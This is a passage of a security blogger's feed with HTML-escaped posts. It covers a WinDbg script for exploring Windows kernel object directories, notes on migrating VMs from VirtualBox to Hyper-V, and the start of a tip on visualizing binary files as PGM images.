fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;ivanlef0u&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@ivanlef0u&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
’s article &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ivanlef0u.tuxfamily.org&#x2F;?p=34&quot;&gt;about it&lt;&#x2F;a&gt; (french) is a good place to start.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-status-quo&quot;&gt;The Status Quo&lt;&#x2F;h2&gt;
&lt;p&gt;Tools like &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;sysinternals&#x2F;downloads&#x2F;winobj&quot;&gt;WinObj&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hfiref0x&#x2F;WinObjEx64&#x2F;&quot;&gt;WinObjEx64&lt;&#x2F;a&gt; are crazy useful. Since they are userland specific they can rely most on already existing &lt;code&gt;ntdll&lt;&#x2F;code&gt; functions to dynamically query to object directory, such as:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;NTSTATUS &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;NtOpenDirectoryObject&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    _Out_ PHANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DirectoryHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ ACCESS_MASK &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DesiredAccess&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ POBJECT_ATTRIBUTES &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ObjectAttributes&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;NTSTATUS &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;NtQueryDirectoryObject&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ HANDLE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DirectoryHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_Out_writes_bytes_opt_&lt;&#x2F;span&gt;&lt;span&gt;(Length) PVOID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Buffer&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ ULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Length&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ BOOLEAN &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ReturnSingleEntry&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _In_ BOOLEAN &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RestartScan&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _Inout_ PULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Context&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    _Out_opt_ PULONG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ReturnLength&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hfiref0x&#x2F;WinObjEx64&#x2F;blob&#x2F;6f6d4480d724e3430b49ff15da1b01c12793c499&#x2F;Source&#x2F;WinObjEx64&#x2F;ntos&#x2F;ntos.h#L8583-L8598&quot;&gt;source&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Those tools are excellent, I use them big time but I was curious if it was possible to extend the data model to expose object tree in a similar fashion. Because the problem in KM (as we can see in Ivan’s post) is that the structures hold a lot of pointers, &lt;code&gt;LIST_ENTRY&lt;&#x2F;code&gt;s and other goodies that must be dereferenced manually which turns out to be a tedious task. Also that approach prevents from easily querying the directory object.&lt;&#x2F;p&gt;
&lt;p&gt;But hold your breath, here comes the Debugger Data Model…&lt;&#x2F;p&gt;
&lt;h2 id=&quot;extending-windbg-data-model-to-expose-the-directory-objects&quot;&gt;Extending WinDbg data model to expose the directory objects&lt;&#x2F;h2&gt;
&lt;p&gt;With the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;pull&#x2F;1&quot;&gt;help of Alex Ionescu pointing out my shortcomings&lt;&#x2F;a&gt; - but always for my benefit -, I ended up with writing &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;blob&#x2F;45926ab380ba6185cc8e210d77f1a7c56ec05323&#x2F;scripts&#x2F;ObjectExplorer.js&quot;&gt;&lt;code&gt;ObjectExplorer.js&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, a surprisingly short JS scripts for WinDbg, which parses and exposes in a structured way the content of &lt;code&gt;nt!ObpRootDirectoryObject&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;{D1BF677A-5CFD-4C16-8ABA-1492397D7E17}.jpg&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;{D1BF677A-5CFD-4C16-8ABA-1492397D7E17}.jpg&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Not only it’s all click-friendly when I’m feeling it’s too complicated to type on a keyboard, but the absolute awesome thing is the total integration with LINQ, so you can actually search those objects programmatically (which is impossible with &lt;code&gt;WinObj&lt;&#x2F;code&gt; for instance). Say you want to enumerate the &lt;code&gt;nt!_OBJECT_TYPE&lt;&#x2F;code&gt; keys of all the &lt;code&gt;ObjectTypes&lt;&#x2F;code&gt; on your version of Windows, well…&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;lkd&amp;gt; dx -g -r1 @$cursession.Objects.Children.Where( obj =&amp;gt; obj.Name == &amp;quot;ObjectTypes&amp;quot; ).First().Children.Select(o =&amp;gt; new { Name = o.RawObjectHeader.Name, Key = (char*)&amp;amp;o.RawObjectHeader.Key})
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which produces something like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;==============================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;=           = (+) Name                              = (+) Key                                =
&lt;&#x2F;span&gt;&lt;span&gt;==============================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;= [0x0]     - &amp;quot;TmTm&amp;quot;                                - 0xffffbe8458913b90 : &amp;quot;TmTm&amp;quot;            =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x1]     - &amp;quot;Desktop&amp;quot;                             - 0xffffbe8458903fe0 : &amp;quot;Desk&amp;quot;            =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x2]     - &amp;quot;Process&amp;quot;                             - 0xffffbe8458880480 : &amp;quot;Proc???&amp;quot;         =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x3]     - &amp;quot;EnergyTracker&amp;quot;                       - 0xffffbe8458998fe0 : &amp;quot;Ener&amp;quot;            =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x4]     - &amp;quot;RegistryTransaction&amp;quot;                 - 0xffffbe845899efe0 : &amp;quot;Regi&amp;quot;            =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5]     - &amp;quot;DebugObject&amp;quot;                         - 0xffffbe8458863a10 : &amp;quot;Debu???&amp;quot;         =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6]     - &amp;quot;VRegConfigurationContext&amp;quot;            - 0xffffbe8459f43fe0 : &amp;quot;VReg&amp;quot;            =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x7]     - &amp;quot;TpWorkerFactory&amp;quot;                     - 0xffffbe845887ba70 : &amp;quot;TpWo???&amp;quot;         =
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or enumerate all processes owning an ALPC port object from the &lt;code&gt;\RPC Control&lt;&#x2F;code&gt; directory can be seen as easily as&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;lkd&amp;gt; dx -r0 @$AlpcPorts = @$cursession.Objects.Children.Where( obj =&amp;gt; obj.Name == &amp;quot;RPC Control&amp;quot; ).First().Children.Where( rpc =&amp;gt; rpc.Type == &amp;quot;ALPC Port&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;lkd&amp;gt; dx -g @$AlpcPorts.Select( alpc =&amp;gt; new { AlpcName= alpc.Name, ProcessOwnerName= (char*) alpc.Object.OwnerProcess-&amp;gt;ImageFileName })
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and we get:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;{68EB5886-B508-4F69-81E2-DDC726638542}.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;{68EB5886-B508-4F69-81E2-DDC726638542}.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;You get the gist. Pretty cool, right?&lt;&#x2F;p&gt;
&lt;p&gt;Although it’s already fully functional, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;windbg_js_scripts&#x2F;blob&#x2F;main&#x2F;scripts&#x2F;ObjectExplorer.js&quot;&gt;&lt;code&gt;ObjectExplorer.js&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; script will be improved gradually. If you have feedbacks or suggestions, I’d be happy to hear about them.&lt;&#x2F;p&gt;
&lt;p&gt;Cheers ☕️&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Goodbye VirtualBox, hello Hyper-V</title>
        <published>2018-12-30T00:00:00+00:00</published>
        <updated>2018-12-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2018-12-30-goodbye-virtualbox-hello-hyper-v/"/>
        <id>https://blahcat.github.io/2018-12-30-goodbye-virtualbox-hello-hyper-v/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2018-12-30-goodbye-virtualbox-hello-hyper-v/">&lt;p&gt;A few scrap notes about my migration from VirtualBox to Hyper-V (in case I attempt to do the same again in the future 😁)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;moving-a-virtualbox-vm-to-hyper-v&quot;&gt;Moving a VirtualBox VM to Hyper-V&lt;&#x2F;h2&gt;
&lt;p&gt;Hyper-V doesn’t support OVF&#x2F;OVA format, but it is possible to convert a VBox VDI to HV VHD by:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;In VirtualBox: copy the hard drive from &lt;strong&gt;File&lt;&#x2F;strong&gt; → &lt;strong&gt;Virtual Media Manager&lt;&#x2F;strong&gt;. Select the target image and &lt;strong&gt;Copy&lt;&#x2F;strong&gt; it making sure that the output format is VHD&lt;&#x2F;li&gt;
&lt;li&gt;In Hyper-V, open the &lt;strong&gt;Edit Disk&lt;&#x2F;strong&gt; wizard from the selected host. Select the VHD created above and choose to convert to VHDX.&lt;&#x2F;li&gt;
&lt;li&gt;Still in Hyper-V, when creating the VM, simply point to that VHDX in the Hard Drive section.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Done.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enabling-enhanced-session-mode-for-ubuntu-or-arch-linux&quot;&gt;Enabling “Enhanced Session” mode for Ubuntu or Arch Linux&lt;&#x2F;h2&gt;
&lt;p&gt;Creating a (recent) Windows VM in Hyper-V will automatically build a smooth environment, but with Linux not much. This is because the “Enhanced Session” is not available, preventing to do simple stuff like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Clipboard support&lt;&#x2F;li&gt;
&lt;li&gt;Dynamic desktop resizing&lt;&#x2F;li&gt;
&lt;li&gt;Shared folders &amp;amp; drive redirection&lt;&#x2F;li&gt;
&lt;li&gt;Seamless mouse sharing&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;MS rectified the shoot by releasing the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Microsoft&#x2F;linux-vm-tools&quot;&gt;Linux VM Tools&lt;&#x2F;a&gt; last October. Quick how-to:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Git-Clone https:&#x2F;&#x2F;github.com&#x2F;Microsoft&#x2F;linux-vm-tools&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# for ubuntu 18.04
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; git clone https:&#x2F;&#x2F;github.com&#x2F;Microsoft&#x2F;linux-vm-tools
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cd linux-vm-tools&#x2F;ubuntu&#x2F;18.04
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; chmod +x .&#x2F;install.sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo .&#x2F;install.sh
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Wait for the install to finish&lt;&#x2F;li&gt;
&lt;li&gt;Disable the autologin (&lt;strong&gt;User settings&lt;&#x2F;strong&gt; → &lt;strong&gt;Autologin&lt;&#x2F;strong&gt; set to Off)&lt;&#x2F;li&gt;
&lt;li&gt;Shutdown the VM&lt;&#x2F;li&gt;
&lt;li&gt;On the host, open a Powershell as Administrator and change the session transport type:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span&gt;PS C:\Users\hugsy&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Set-VM &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Ubuntu 18.04 x64&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; -EnhancedSessionTransportType HvSocket
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Start the VM. When switching to the RDP session, Hyper-V Manager will prompt the desired resolution and show the XRDP prompt.
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Microsoft&amp;#x2F;linux-vm-tools&amp;#x2F;raw&amp;#x2F;master&amp;#x2F;wiki&amp;#x2F;media&amp;#x2F;xorglogin.PNG&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;Microsoft&amp;#x2F;linux-vm-tools&amp;#x2F;raw&amp;#x2F;master&amp;#x2F;wiki&amp;#x2F;media&amp;#x2F;xorglogin.PNG&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Login as usual and enjoy the enhanced mode.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;For Fedora&#x2F;RedHat, it &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bugzilla.redhat.com&#x2F;show_bug.cgi?id=1553453&quot;&gt;may also be working&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Update (2019&#x2F;04&#x2F;28):
If you’re using a different WM, you may also need to edit your &lt;code&gt;~&#x2F;.xsession&lt;&#x2F;code&gt; to set proper WM value. For instance&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;env -u SESSION_MANAGER -u DBUS_SESSION_BUS_ADDRESS mate-session  # for mate (could be unity, xfce4-session, gnome3, etc.)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;To switch back to the regular view, simply click on &lt;strong&gt;View&lt;&#x2F;strong&gt; → uncheck &lt;strong&gt;Enhanced session&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;sharing-folders&quot;&gt;Sharing folders&lt;&#x2F;h2&gt;
&lt;p&gt;This is easily done using SMB: on the host, simply share (right-click on folder → &lt;strong&gt;Properties&lt;&#x2F;strong&gt; → &lt;strong&gt;Share&lt;&#x2F;strong&gt; tab)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;windows-guest&quot;&gt;Windows guest&lt;&#x2F;h3&gt;
&lt;p&gt;Well it’s Windows, so just&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;C:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; net use * &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span&gt;HOST_HOSTNAME&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\S&lt;&#x2F;span&gt;&lt;span&gt;haredFolder &#x2F;user:hugsy
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;linux-guest&quot;&gt;Linux guest&lt;&#x2F;h3&gt;
&lt;p&gt;Use &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;samba.org&quot;&gt;Samba&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo apt install cifs-utils&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -y &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# for the first time, just in case
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -p ~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;Desktop&#x2F;Shared
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo mount.cifs &#x2F;&#x2F;HOST_HOSTNAME&#x2F;SharedFolder &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;Desktop&#x2F;Shared&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span&gt; user=hugsy,uid=1000,gid=1000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And the best part is that it will all rely on Windows DACL which allows a much finer granularity in permissions than VirtualBox did.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;side-note&quot;&gt;Side note&lt;&#x2F;h2&gt;
&lt;p&gt;Hyper-V has become really good so maybe that post will help other former Linux people like myself to reconsider, test it and maybe make the move too. That move was the last one to date for me, after moving from Linux to Windows 10 as main host OS, and then switching from my beloved Emacs to Visual Studio Code.&lt;&#x2F;p&gt;
&lt;p&gt;And I must say, I’ve been nothing but happy about those changes… Huge kudos to Microsoft! A few pros for Hyper-V are that it is totally free and integrated to the OS (assuming you have a Pro version), supports Nested Virtualization, VMs are always running headlessly, can be programmed in &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blogs.technet.microsoft.com&#x2F;richard_macdonald&#x2F;2008&#x2F;08&#x2F;11&#x2F;programming-hyper-v-with-wmi-and-c-getting-started&#x2F;&quot;&gt;C#&lt;&#x2F;a&gt; or scripted in &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;virtualization&#x2F;hyper-v-on-windows&#x2F;quick-start&#x2F;try-hyper-v-powershell&quot;&gt;PowerShell&lt;&#x2F;a&gt; easily… Also I personally don’t like Oracle, so if I can’t make a change to not using any of their software, it’s all for the best.&lt;&#x2F;p&gt;
&lt;p&gt;And this will conclude my pesky rant 😀&lt;&#x2F;p&gt;
&lt;p&gt;Some links to conclude:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Microsoft&#x2F;linux-vm-tools&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;Microsoft&#x2F;linux-vm-tools&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blogs.technet.microsoft.com&#x2F;virtualization&#x2F;2018&#x2F;02&#x2F;28&#x2F;sneak-peek-taking-a-spin-with-enhanced-linux-vms&#x2F;&quot;&gt;https:&#x2F;&#x2F;blogs.technet.microsoft.com&#x2F;virtualization&#x2F;2018&#x2F;02&#x2F;28&#x2F;sneak-peek-taking-a-spin-with-enhanced-linux-vms&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nbsoftsolutions.com&#x2F;blog&#x2F;linux-virtualization-with-a-mounted-windows-share-on-client-hyper-v&quot;&gt;https:&#x2F;&#x2F;nbsoftsolutions.com&#x2F;blog&#x2F;linux-virtualization-with-a-mounted-windows-share-on-client-hyper-v&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Cheatsheet over…&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Quick visualization of a binary file</title>
        <published>2018-12-02T00:00:00+00:00</published>
        <updated>2018-12-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2018-12-02-quick-visualization-of-a-binary-file/"/>
        <id>https://blahcat.github.io/2018-12-02-quick-visualization-of-a-binary-file/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2018-12-02-quick-visualization-of-a-binary-file/">&lt;p&gt;Here’s a simple trick that I learned from the amazing  &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;scanlime&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@scanlime&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 to quickly (and universally) visualize the distribution of byte of any binary file, using the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Netpbm_format&quot;&gt;Portable Graymap Format (PGM)&lt;&#x2F;a&gt; format.&lt;&#x2F;p&gt;
&lt;p&gt;On Windows:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;C:\&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; P5 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;512 4096 255 &lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TEMPDIR&lt;&#x2F;span&gt;&lt;span&gt;%\visu.pgm &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;^
